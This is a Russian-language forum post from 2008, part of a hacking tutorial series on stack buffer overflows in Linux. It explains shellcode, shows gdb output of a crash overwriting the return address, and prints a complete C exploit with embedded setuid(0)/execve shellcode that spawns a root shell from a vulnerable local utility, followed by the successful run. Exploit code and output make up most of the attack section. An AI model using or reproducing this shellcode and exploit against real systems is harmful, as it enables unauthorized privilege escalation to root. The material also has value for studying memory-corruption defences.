Показать сообщение отдельно

  #2  
Старый 06.05.2008, 00:03
ZipaCna
Познающий
Регистрация: 29.02.2008
Сообщений: 66
Провел на форуме:
139469

Репутация: 33
По умолчанию

ТЕХНИКА ПЕРЕПОЛНЕНИЯ.


Думаю, вы уже наглотались теории по самые уши Ну ничего осталось совсем чуть-чуть. Я сейчас постараюсь максимально внятно объяснить процесс переполнения, а далее нам останется только осуществить все на практике. И мы уже будем на коне!
Итак, поехали...

Процесс переполнения происходит следующим образом:

Вы определяете размер буфера и его крайний край (т.е. значение при котором регистр ebp затрется). Далее. Подготавливаете "мусорный буфер".
Мусорный буфер - это данные, которые просто заполнят стек ненужной информацией для переполнения буфера. Далее Вы наглядно это увидите. Потом мы копируем шеллкод в буфер. О том, что такое шеллкод я Вам сейчас поведаю.
Шеллкод - это некий код, переведенный в машинные инструкции. Почему именно "шеллкод", так это, потому что часто после его исполнения на компьютере предоставляется доступ к оболочке Unix (т.е. к shell-оболочке). Шеллкод может быть локальным и удаленным.

Локальный шеллкод - это код для локальных программ, которые исполняются на локальной машите. Т.е. пользователь работает за компьютером, в котором имеется уязвимая программа. После эксплуатации, которой, пользователю сразу представятся права уязвимой программы. Т.е. допустим, программа запущена с правами супер-пользователя (root), а у пользователя допустим права games (игровые). Когда пользователь (атакующий) успешно проэксплуатирует программу, у него появятся права супер-пользователя в локальной машине.

Удаленный шеллкод - это код для удаленных демонов (программ серверов). Т.е. например Вы обнаружили уязвимость в каком либо сервере. При подключении на который, передается длинная строка, а далее сервер завершает работу с ошибкой переполнения буфера. В данном случае пользователь не имеет прав на удаленной машине. Поэтому, написав эксплоит, который бы переполнял буфер и исполнял удаленный шеллкод с правами запущенного сервера. Часто удаленные шеллкоды после исполнения открывают на удаленной машине порт, после подключения на который, предоставляется командная строка (шелл) с правами запущенного сервера.

Итак, с шеллкодом мы разобрались. Двигаемся далее. После копирования шеллкода в буфер, мы должны указать адрес нашего шеллкода, чтобы после переполнения, уязвимая программа обращалась на инструкцию заданную в шеллкоде. То бишь на инструкцию появления командной строки. Если все это представить в уме, то это примерно высветится так:
Код:
	стек		<data><...shellcode...><retaddr>
	 ||
	 || Данные (esp)
	 ||	происходит переполнение, и адрес eip указывает на шеллкод
     ~shellcode~ <---------------------------------------------------\
	 ||							      |
	 || 							      |
	 \/ -X- Адрес возврата на функцию (eip)-----------------------=
Для того, чтобы узнать адрес возврата на инструкцию (шеллкод у нас) мы будем использовать отладчик gdb. Для размещения в правильном направлении нам понадобится метод "тык". Т.е. опять же мы узнаем "край буфера" путем перебора. В нашей утилите он равен 268 символам. Т.е. как было ранее показано наш адрес будет располагаться в радиусе 4-х символов переведенных в формат hex .
В нашем случае нам нужно разместить наш адрес по следующим параметрам:
268+4 = 268+1(269)+1(270)+1(271)+1(272). Наш адрес ляжет в радиус 268 -- 272. Получается как раз 4 символа (байта) и 8 (4 символа в hex) байт в качестве указания адреса на который будет передано управление после переполнения.

Итак, думаю довольно сухомятки. Пора приступить к реалиям. Для начала давайте снова запустим нашу программу в отладчике gdb.

Код:
(gdb) r `perl -e 'print "A"x1000'`
Starting program: /home/boft/util `perl -e 'print "A"x1000'`
Detaching after fork from child process 3404.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Происходит переполнение. Вспомните регистр ESP.
Давайте взглянем внутрь него:

Код:
(gdb) x/200x $esp
<................[опущено]...............>
0xbffff550:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff560:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff570:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff580:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff590:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff600:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff610:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff620:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff630:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff640:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff650:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff660:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff670:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff680:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff690:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6b0:     0x41414141      0x41414141      0x41414100      0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffff6c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
Внимание!!! В вашей системе может быть по-другому.
Итак, что мы видим. А видим мы следующее. Слева у нас как раз те адреса возврата на данные, которые расположены справа. То бишь на данные символов "A". Из этого может следовать, что после переполнения наша уязвимая утилита обращается по одному из этих адресов, в которых имеется значение "A". На ум сразу приходит, что после того как шеллкод будет расположен, он успешно должен исполниться, после того как мы успешно засунем адрес возврата на наш код.

Итак, пора всю нашу занудную теорию перенести в практические действия. Сейчас я приведу код эксплуататора для нашей утилиты, и мы подробно разберем его.
В качестве адреса я взял один из вышеприведенных адресов, значение у которого 0x41414141.

Код:
[========================================CODE#2 ex_util.c=================================]
#include <stdio.h>
#include <string.h>

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
long RET;
int i;
char buf[1000];
char *p;

RET = 0xbffff660; // адрес в Вашей системе может быть другой.

p = buf;

memset(buf, 0x41, 450+1-strlen(shellcode)); // тот самый "мусор" :)
sprintf(buf+450+1-strlen(shellcode), "%s", shellcode); // заполняем шеллкодом после "мусора"

for ( i = 268; i <= 272; i+= 4 )
*(long*)(p+i) = RET;

execl("util", "util" , buf, NULL);
}
[========================================CODE#2 ex_util.c=================================]

Итак, давайте испробуем наш код.

[root@localhost boft]# gcc ex_util.c -o ex_util
[root@localhost boft]# ./ex_util
sh-3.00# exit
exit
[root@localhost boft]#
Работаем безупречно Все, что и требовалось доказать. Теперь я попытаюсь все в коде Вам разъяснить. Итак, шеллкод написан мной. Я считаю его одним из маленьких локальных шеллкодов для Linux. В нем есть функция setuid(0);.
В начале мы объявляем переменные. Переменную RET, для того чтобы в ней хранить наш адрес. Далее идет переменная-индекс. Она нужна для запуска цикла добавления адреса на наш шеллкод. Следующая переменная "buf", нужна для того, чтобы полностью подготовить наш код. Вида <data><shellcode><retaddr>. Переменная "p" - это указатель на наш буфер данных. Она нужна для того, чтобы посимвольно добавить адрес возврата на код.
Итак, далее идет уже код. В первой строке кода мы присваиваем переменной RET адрес на наш код. Далее переменной "p" указываем на то, что она теперь стаем указателем на наш буфер. Потом мы заполняем наш буфер "мусором" для того чтобы переполнить буфер данными, а далее положить шеллкод после "мусора". Далее идет цикл for (...). В нем мы, как уже было сказано, добавляем адрес с "краев" на 4 байта вперед для того, чтобы адрес поместился полностью. Следующая строка говорит нам о том, что бы запускаем нашу утилиту с заполненным буфером в качестве первого входного аргумента.
Вот в принципе и все!

В данном примере я показал простейшее переполнение на основе входного параметра. Так же мне хотелось бы Вам еще показать переполнения, основанные через "Переменные окружения" и удаленные переполнения буфера.

Последний раз редактировалось ZipaCna; 06.05.2008 в 11:55..
 
Ответить с цитированием